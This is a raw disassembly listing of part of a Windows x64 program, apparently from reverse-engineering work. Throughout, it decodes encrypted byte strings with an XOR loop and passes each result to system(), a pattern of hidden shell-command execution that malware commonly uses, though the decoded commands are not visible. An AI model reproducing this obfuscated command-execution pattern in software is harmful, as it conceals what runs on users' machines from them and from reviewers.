sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x14000c410
lea rcx, [rbp + 0xd60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e2b0]
movups xmmword [rbp + 0x1500], xmm0
movups xmm0, xmmword [0x14009e2d0]
movups xmmword [rbp + 0x1520], xmm0
movups xmm0, xmmword [0x14009e2f0]
movups xmm1, xmmword [0x14009e2c0]
movups xmmword [rbp + 0x1540], xmm0
movups xmmword [rbp + 0x1510], xmm1
movups xmm0, xmmword [0x14009e310]
movups xmm1, xmmword [0x14009e2e0]
movups xmmword [rbp + 0x1560], xmm0
movups xmmword [rbp + 0x1530], xmm1
movzx eax, byte [0x14009e328]
movsd xmm0, qword [0x14009e320]
movups xmm1, xmmword [0x14009e300]
mov byte [rbp + 0x1578], al
movsd qword [rbp + 0x1570], xmm0
movups xmmword [rbp + 0x1550], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000c623
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1504]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000c520
cmp r8d, 0x79
jge 0x14000c660
movsxd rax, r8d
lea r9, [rbp + 0x1500]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x14000c630
lea rcx, [rbp + 0x1500]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d430]
movups xmmword [rbp + 0x25e0], xmm0
movups xmm0, xmmword [str.9__6_:_411_]
movups xmm1, xmmword [0x14009d440]
movups xmmword [rbp + 0x2600], xmm0
movups xmmword [rbp + 0x25f0], xmm1
movups xmm0, xmmword [0x14009d470]
movups xmm1, xmmword [0x14009d460]
movups xmmword [rbp + 0x2620], xmm0
movups xmmword [rbp + 0x2610], xmm1
movups xmm0, xmmword [0x14009d490]
movups xmm1, xmmword [0x14009d480]
movups xmmword [rbp + 0x2640], xmm0
movups xmmword [rbp + 0x2630], xmm1
movsd xmm0, qword [0x14009d4b0]
movups xmm1, xmmword [0x14009d4a0]
movsd qword [rbp + 0x2660], xmm0
movups xmmword [rbp + 0x2650], xmm1
cmp r15d, 2
jl 0x14000c840
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x25e4]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x14000c740
jmp 0x14000c883
lea r9, [rbp + 0x25e0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x14000c850
lea rcx, [rbp + 0x25e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009caa0]
movups xmmword [rbp + 0x1880], xmm0
movups xmm0, xmmword [0x14009cac0]
movups xmm1, xmmword [0x14009cab0]
movups xmmword [rbp + 0x18a0], xmm0
movups xmmword [rbp + 0x1890], xmm1
movups xmm0, xmmword [0x14009cae0]
movups xmm1, xmmword [0x14009cad0]
movups xmmword [rbp + 0x18c0], xmm0
movups xmmword [rbp + 0x18b0], xmm1
movzx eax, word [0x14009cb30]
movups xmm0, xmmword [0x14009cb00]
movups xmm1, xmmword [0x14009caf0]
mov word [rbp + 0x1910], ax
movups xmmword [rbp + 0x18e0], xmm0
movups xmmword [rbp + 0x18d0], xmm1
movzx eax, byte [0x14009cb32]
movups xmm0, xmmword [0x14009cb20]
movups xmm1, xmmword [0x14009cb10]
mov byte [rbp + 0x1912], al
movups xmmword [rbp + 0x1900], xmm0
movups xmmword [rbp + 0x18f0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000ca7a
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1884]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000c971
cmp r8d, 0x93
jge 0x14000cac3
movsxd rax, r8d
lea r9, [rbp + 0x1880]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x14000ca90
lea rcx, [rbp + 0x1880]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009cd50]
movups xmmword [rbp + 0x2020], xmm0
movups xmm0, xmmword [0x14009cd70]
movups xmmword [rbp + 0x2040], xmm0
movups xmm0, xmmword [0x14009cd90]
movups xmm1, xmmword [0x14009cd60]
movups xmmword [rbp + 0x2060], xmm0
movups xmmword [rbp + 0x2030], xmm1
movups xmm0, xmmword [0x14009cdb0]
movups xmm1, xmmword [str._n_uXhKUXqP_0ck3f]
movups xmmword [rbp + 0x2080], xmm0
movups xmmword [rbp + 0x2050], xmm1
movups xmm0, xmmword [0x14009cdd0]
movups xmm1, xmmword [0x14009cda0]
movups xmmword [rbp + 0x20a0], xmm0
movups xmmword [rbp + 0x2070], xmm1
movzx eax, word [0x14009cde8]
movsd xmm0, qword [0x14009cde0]
movups xmm1, xmmword [0x14009cdc0]
mov word [rbp + 0x20b8], ax
movsd qword [rbp + 0x20b0], xmm0
movups xmmword [rbp + 0x2090], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000ccc9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2024]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000cbc0
cmp r8d, 0x9a
jge 0x14000cd13
movsxd rax, r8d
lea r9, [rbp + 0x2020]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x14000cce0
lea rcx, [rbp + 0x2020]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x9dac0]
lea rcx, [rbp + 0x3640]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, esi
cmp r15d, 2
jl 0x14000cefa
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3644]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x14000cdf1
cmp r8d, 0xc2
jge 0x14000cf43
movsxd rax, r8d
lea r9, [rbp + 0x3640]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x14000cf10
lea rcx, [rbp + 0x3640]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x9eb40]
lea rcx, [rbp + 0x3710]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, esi
cmp r15d, 2
jl 0x14000d12a
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3714]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x14000d021
cmp r8d, 0xc2
jge 0x14000d173
movsxd rax, r8d
lea r9, [rbp + 0x3710]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x14000d140
lea rcx, [rbp + 0x3710]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x9c390]
lea rcx, [rbp + 0x34c0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp r15d, 2
jl 0x14000d350
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x34c4]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x14000d250
jmp 0x14000d393
lea r9, [rbp + 0x34c0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x14000d360
lea rcx, [rbp + 0x34c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x9c770]
lea rcx, [rbp + 0x3580]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp r15d, 2
jl 0x14000d570
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3584]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x14000d470
jmp 0x14000d5b3
lea r9, [rbp + 0x3580]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x14000d580
lea rcx, [rbp + 0x3580]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009bef0]
movups xmmword [rbp + 0x2700], xmm0
movups xmm0, xmmword [0x14009bf10]
movups xmmword [rbp + 0x2720], xmm0
movups xmm0, xmmword [0x14009bf30]
movups xmm1, xmmword [0x14009bf00]
movups xmmword [rbp + 0x2740], xmm0
movups xmmword [rbp + 0x2710], xmm1
movups xmm0, xmmword [0x14009bf50]
movups xmm1, xmmword [0x14009bf20]
movups xmmword [rbp + 0x2760], xmm0
movups xmmword [rbp + 0x2730], xmm1
